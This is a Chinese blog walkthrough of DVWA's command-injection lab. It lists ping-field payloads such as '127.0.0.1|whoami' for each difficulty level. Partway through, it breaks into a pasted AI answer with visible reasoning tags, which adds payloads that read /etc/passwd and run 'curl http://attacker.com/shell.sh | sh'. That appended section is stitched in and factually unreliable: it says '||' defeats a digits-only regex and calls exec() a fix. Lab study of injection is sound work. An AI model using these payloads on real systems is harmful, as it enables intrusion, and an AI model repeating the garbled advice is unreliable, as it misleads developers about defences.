DVWA通关之命令注入(command injection)

本文详细介绍了DVWA中的命令注入漏洞,从低到高四个难度等级的过关思路,并分析了不同等级下的源代码,揭示了过滤机制的不足。文章强调了命令执行漏洞的类型和相关系统函数,提醒开发者注意命令注入的安全风险。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

DVWA通关之命令注入(command injection)

原文链接请点击:https://www.cnblogs.com/ruoli-s/p/14340551.html

难度等级:low

过关思路

  1. 我们先将其难度设置为low,看到其界面如下:

image-20210128141119846

  1. 通过分析得知,该功能是输入一个IP地址,然后通过ping进行测试,先输入127.0.0.1www.baidu.com测试如下:

127.0.0.1

image-20210128141414768

www.baidu.com

image-20210128141609752

  1. 可以看到,IP地址和域名都是能够ping通的,接下来就是使用命令拼接测试了,

输入127.0.0.1 | whoami

image-20210128142225176

命令注入成功。

  1. 命令汇总,经过测试,以下命令均可注入成功。

127.0.0.1|whoami

127.0.0.1&whoami

127.0.0.1000 || whoami

127.0.0.1 && whoami

  1. 注意:有空格和无空格有时会有意想不到的效果

  2. 做完了当然得看一下源码:

image-20210128143009680

  可以看到,该代码没有对用户的输入做任何的过滤,直接使用shell_exec函数执行用户输入,这是非常危险的。

难度等级:medium

过关思路

  1. 这里过关思路和low一致,也没啥可说的,我们主要看一下源码就行。
  2. 源代码如下:

image-20210128143630947

  通过分析,可以看出,medium关卡比low关卡多了一个黑名单。其通过数组的方式将&&;进行了过滤,即将其替换为。但是,这种过滤基本上还是跟没有过滤差不多,因为黑名单里的过滤太少了,黑名单也不安全。

难度等级:high

过关思路

  1. 上手先测试几个前面的payload,发下好多都被过滤了,但是还有几个可以用:

127.0.0.1 || whoami

127.0.0.1|whoami

127.0.0.1000||whoami

image-20210128154801468

  1. 我们直接看源代码:

image-20210128154709468

  可以看到,这次的黑名单过滤明显的多了起来,但是也发现(可能是故意给我们漏出来的😂),其在过滤的时候,没有过滤|而是过滤了|+空格,所以,该代码只是遇到单单一个|,不会进行过滤。

难度等级:impossible

过关思路

  1. 这关基本上是不存在安全风险的,之所以放在这里,当作一个关卡,应该也是为了让我们学习一下怎么进行过滤,我们还是直接看源代码吧。
  2. 源代码如下:

                
<think>嗯,用户想了解DVWA靶场中的Command Injection漏洞测试和利用方法,需要详细步骤和示例。首先,我得回忆一下DVWA的基本设置,尤其是命令注入的模块。用户可能已经知道DVWA是什么,但可能需要先登录到Low安全级别开始测试。 首先,命令注入通常发生在用户输入被拼接到系统命令中执行的情况下。在DVWACommand Injection模块,用户输入一个IP地址,然后系统执行ping命令。这时候,如果输入没有经过严格的过滤,攻击者可以注入额外的命令。 比如,在Low安全级别下,后端代码可能直接拼接用户输入的参数到ping命令中,而没有做任何过滤。这时候用户输入类似`127.0.0.1; ls`,分号后面的命令就会被执行。这时候需要给出具体的示例,比如如何利用不同的符号如`&&`、`|`或者`&`来注入命令。 接下来,不同安全级别的防护措施不同。比如Medium级别可能过滤了一些符号,但可能没有完全覆盖,这时候需要测试哪些符号被转义或过滤了。比如,可能过滤了`;`和`&&`,但`|`可能仍然可用,或者需要尝试其他绕过方法,比如用`%0a`(换行符)来分隔命令。 High级别的防护可能更严格,可能只允许特定的输入格式,比如限制输入为IP地址格式。这时候可能需要利用IP地址的格式特性,比如使用`127.0.0.1 || ls`,如果代码检查IP格式是否合法,但后面的命令仍然会被执行的话。或者,使用反引号执行命令,如`$(ls)`。 Impossible级别可能使用了白名单或其他彻底防护的方法,这时候基本无法注入,需要说明其防护机制,比如使用escapeshellarg函数处理参数。 在漏洞利用示例中,要分级别展示不同的注入方式,说明如何通过Burp Suite这样的工具拦截请求,修改参数,或者直接在输入框中输入注入命令。还要注意不同操作系统下的命令差异,比如Windows和Linux的符号可能不同,但DVWA通常运行在Linux环境下。 另外,生成的相关问题需要考虑用户可能进一步想知道如何防御命令注入,或者DVWA其他漏洞模块的测试方法,比如SQL注入或XSS。还要注意提醒用户只在合法授权的环境下进行测试,避免法律问题。 现在需要确保回答结构清晰,步骤正确,示例准确,且引用格式正确。要检查是否有遗漏的安全级别或常见绕过方法,比如使用反斜杠转义或者编码绕过过滤。同时,要确保给出的代码示例正确,比如PHP中可能存在漏洞的代码部分,以及防护措施如参数化执行或输入验证。</think># DVWA Command Injection漏洞测试与利用方法 ## 一、漏洞原理 命令注入漏洞产生于未正确过滤用户输入的情况下,攻击者通过拼接系统命令实现任意命令执行。DVWACommand Injection模块模拟了`ping`功能,其基础命令为: $$ ping -c 4 {user_input} $$ 当用户输入包含`;`、`&&`、`|`等命令分隔符时,可注入额外命令[^1]。 ## 二、安全测试步骤(分安全等级) ### 1. Low安全级别 **测试方法**: ```http POST /vulnerabilities/exec/ HTTP/1.1 Host: localhost ... ip=127.0.0.1;whoami&Submit=Submit ``` **注入示例**: - `127.0.0.1; ls /` 列出根目录 - `127.0.0.1 && cat /etc/passwd` 查看系统账户 ### 2. Medium安全级别 **过滤机制**: ```php $target = str_replace(';', '', $target); // 移除分号 ``` **绕过方法**: ```http ip=127.0.0.1%0aid && ping -c 4 127.0.0.1 ``` 使用换行符`%0a`或未过滤的`&`符号 ### 3. High安全级别 **防护代码**: ```php if( preg_match( '/^[0-9.]+$/i', $target ) ) // 限制数字和点号 ``` **绕过示例**: ```bash 127.0.0.1 || ls -al ``` 利用逻辑运算符绕过正则检测 ### 4. Impossible级别 **防护措施**: ```php $target = escapeshellarg($target); // 参数化处理 $cmd = shell_exec('ping -c 4 '.$target); ``` 此时无法进行命令注入 ## 三、漏洞利用演示 **Burp Suite拦截修改**: ```http POST /vulnerabilities/exec/ HTTP/1.1 ... ip=127.0.0.1;curl+http://attacker.com/shell.sh+|+sh ``` 该payload将下载执行远程脚本 ## 四、防御方案 1. 使用`exec($command, $output)`替代直接命令拼接 2. 实施白名单验证: ```php if (!preg_match('/^[0-9.]+$/', $ip)) { die("Invalid IP format"); } ``` 3. 参数化处理: ```php $clean_ip = escapeshellarg($_POST['ip']); ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值